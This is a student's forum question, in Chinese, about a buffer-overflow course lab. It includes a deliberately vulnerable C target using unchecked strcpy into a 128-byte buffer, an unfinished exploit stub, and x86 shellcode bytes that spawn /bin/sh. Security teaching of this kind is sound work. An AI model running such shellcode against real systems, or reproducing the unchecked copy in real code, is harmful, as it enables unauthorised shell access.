我正在尝试为我的一个 comp sci 课程找出这个问题,我已经利用了所有资源,但仍然遇到问题,如果有人可以提供一些见解,我将不胜感激。
我有这个“目标”,我需要使用缓冲区溢出漏洞执行 execve(“/bin/sh”)。在buf[128]的溢出中,当执行不安全的命令strcpy时,一个指向缓冲区的指针出现在系统期望找到返回地址的位置。
目标.c
int bar(char *arg, char *out)
{
strcpy(out,arg);
return 0;
}
int foo(char *argv[])
{
char buf[128];
bar(argv[1], buf);
}
int main(int argc, char *argv[])
{
if (argc != 2)
{
fprintf(stderr, "target: argc != 2");
exit(EXIT_FAILURE);
}
foo(argv);
return 0;
}
漏洞利用.c
#include "shellcode.h"
#define TARGET "/tmp/target1"
int main(void)
{
char *args[3];
char *env[1];
args[0] = TARGET; args[1] = "hi there"; args[2] = NULL;
env[0] = NULL;
if (0 > execve(TARGET, args, env))
fprintf(stderr, "execve failed.\n");
return 0;
}
外壳代码.h
static char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
我知道我需要用超过 128 个字节填充 argv[1],超过 128 个字节是返回地址,它应该指向缓冲区,以便在其中执行 /bin/sh。到目前为止是正确的吗?有人可以提供下一步吗?
非常感谢您的帮助。